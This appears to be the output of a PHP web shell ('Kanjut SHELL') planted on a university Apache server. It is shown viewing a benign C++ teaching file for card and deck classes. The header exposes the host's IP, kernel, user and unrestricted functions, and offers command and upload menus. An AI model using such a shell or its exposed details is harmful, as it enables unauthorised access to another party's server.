Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.190.219.178
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/cewhitfield/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cewhitfield/cardclass_cpp.htm
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0048)http://facultystaff.vwc.edu/~kames/cardclass.cpp -->
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META content="MSHTML 6.00.2900.3395" name=GENERATOR></HEAD>
<BODY><PRE>// cardclass.cpp - cpp file for card and card deck classes

#include &lt;iostream&gt;
#include &lt;cstdlib&gt;  // for random num generator
#include "cardclass.h"

using namespace std;

// ----- First the Card members -----


//--------------------------------------------------------------------------
// The default CardType constructor actually does nothing!
//--------------------------------------------------------------------------
// Accepts:  nothing
// Returns:  nothing
//--------------------------------------------------------------------------

CardType :: CardType ()
{
}

//--------------------------------------------------------------------------
// Assign allows assignment of this card's face and suit
//--------------------------------------------------------------------------
// Accepts:  the new face and suit values
// Returns:  nothing
//--------------------------------------------------------------------------

void CardType :: Assign (SuitType s, FaceType f)
{
   suit = s;
   face = f;
}

//--------------------------------------------------------------------------
// Print displays the face value and suit of this card using words
//--------------------------------------------------------------------------
// Accepts:  nothing
// Returns:  nothing
//--------------------------------------------------------------------------

void CardType :: Print ()
{

    switch (face)                   // first display face value
    {
	case ACE : cout &lt;&lt; "  ACE"; break;
	case TWO : cout &lt;&lt; "  TWO"; break;
	case THREE : cout &lt;&lt; "THREE"; break;
	case FOUR : cout &lt;&lt; " FOUR"; break;
	case FIVE : cout &lt;&lt; " FIVE"; break;
	case SIX : cout &lt;&lt; "  SIX"; break;
	case SEVEN : cout &lt;&lt; "SEVEN"; break;
	case EIGHT : cout &lt;&lt; "EIGHT"; break;
	case NINE : cout &lt;&lt; " NINE"; break;
	case TEN : cout &lt;&lt; "  TEN"; break;
	case JACK : cout &lt;&lt; " JACK"; break;
	case QUEEN : cout &lt;&lt; "QUEEN"; break;
	case KING : cout &lt;&lt; " KING"; break;
    }

    cout &lt;&lt; " of ";

    switch (suit)                   // then display suit
    {
	case CLUB : cout &lt;&lt; "CLUBS   "; break;
	case DIAMOND : cout &lt;&lt; "DIAMONDS"; break;
	case HEART : cout &lt;&lt; "HEARTS  "; break;
	case SPADE : cout &lt;&lt; "SPADES  "; break;
    }
}

//--------------------------------------------------------------------------
// GreaterFace compares the face value of this card and another card.
//--------------------------------------------------------------------------
// Accepts:  the card to which this card is compared
// Returns:  TRUE if this card's face &gt; other card's face, FALSE otherwise
//--------------------------------------------------------------------------

bool CardType :: GreaterFace(CardType othercard)
{
    if (face &gt; othercard.face)
	return true;
    else
	return false;
}

//--------------------------------------------------------------------------
// EqualFace compares the face value of this card and another card.
//--------------------------------------------------------------------------
// Accepts:  the card to which this card is compared
// Returns:  TRUE if this card's face == other card's face, FALSE otherwise
//--------------------------------------------------------------------------

bool CardType :: EqualFace(CardType othercard)
{
    if (face == othercard.face)
	return true;
    else
	return false;
}

//--------------------------------------------------------------------------
// GreaterSuit compares the suit of this card and another card.
//--------------------------------------------------------------------------
// Accepts:  the card to which this card is compared
// Returns:  TRUE if this card's suit &gt; other card's suit
//--------------------------------------------------------------------------

bool CardType :: GreaterSuit(CardType othercard)
{
    if (suit &gt; othercard.suit)
	return true;
    else
	return false;
}

//--------------------------------------------------------------------------
// EqualSuit compares the suit of this card and another card.
//--------------------------------------------------------------------------
// Accepts:  the card to which this card is compared
// Returns:  TRUE if this card's suit == other card's suit
//--------------------------------------------------------------------------

bool CardType :: EqualSuit(CardType othercard)
{
    if (suit == othercard.suit)
	return true;
    else
	return false;
}


// ----- Now the Deck members


//--------------------------------------------------------------------------
// The default constructor sets up this deck as a "fresh" deck of cards
//    by systematically assigning a value to each card in the deck.
//--------------------------------------------------------------------------
// Accepts:  nothing
// Returns:  nothing
//--------------------------------------------------------------------------

DeckType :: DeckType()
{
    int i = 0;   // counter for cards
    SuitType s;  // counter for suit loop
    FaceType f;  // counter for face value loop
    CardType c;  // temporary card

    for (s = CLUB; s &lt;= SPADE; s = SuitType(int(s) + 1)) // pair each suit... 
	for (f = TWO; f &lt;= ACE; f = FaceType(int(f) + 1)) // ... &amp; each face
	{
	    c.Assign(s,f);          // build a card with this suit and face
	    cards[i] = c;           // put card in the deck
	    i++;                    // increment for next card
	};

    top = 0;                        // top starts at beginning of deck
}

//--------------------------------------------------------------------------
// Shuffle uses a random number to "swap" cards around in the deck.
//--------------------------------------------------------------------------
// Accepts:  nothing
// Returns:  nothing
//--------------------------------------------------------------------------

void DeckType :: Shuffle ()
{
    int
	current,         // current card
	swapposition;    // position with which to swap current card

    CardType tempcard;   // used for swapping

    for (current = DECKSIZE - 1; current &gt; 0; current--)
    {
	swapposition = rand() % DECKSIZE;     // choose card to swap with 

	tempcard = cards[current];     // perform the swap
	cards[current] = cards[swapposition];
	cards[swapposition] = tempcard;
    }
}

//--------------------------------------------------------------------------
// DrawCard returns the next card in the deck.
//--------------------------------------------------------------------------
// Pre:  Deck is not empty  (top &lt;= DECKSIZE - 1)
//--------------------------------------------------------------------------
// Accepts:  the deck
// Returns:  the next card in the deck &amp;&amp; and the modified deck
//--------------------------------------------------------------------------

CardType DeckType :: DrawCard ()
{
    CardType tempcard;

    tempcard = cards[top];  // grab copy of next card
    top++;                  // adjust top to "remove" card from deck

    return tempcard;
}

//--------------------------------------------------------------------------
// IsEmpty tests to see if all cards have been drawn from the deck
//--------------------------------------------------------------------------
// Accepts:  nothing
// Returns:  TRUE if deck is empty, FALSE otherwise
//--------------------------------------------------------------------------

bool DeckType :: IsEmpty ()
{
    if (top == DECKSIZE)   // top will have advanced past last card position
	return true;
    else
	return false;
}

//--------------------------------------------------------------------------
// Print uses the card Print member to display the entire deck of cards
//--------------------------------------------------------------------------
// Accepts:  nothing
// Returns:  nothing
//--------------------------------------------------------------------------

void DeckType :: Print ()
{

    int i;   // counter for cards

    for (i = 0; i &lt; DECKSIZE; i++)
    {
	cards[i].Print();
	if (i % 2 == 1)           // start a new line after every other card
		cout &lt;&lt; "\n";
	else
		cout &lt;&lt; "   ";
    }
}
</PRE></BODY></HTML>

Stv3n404 - 2023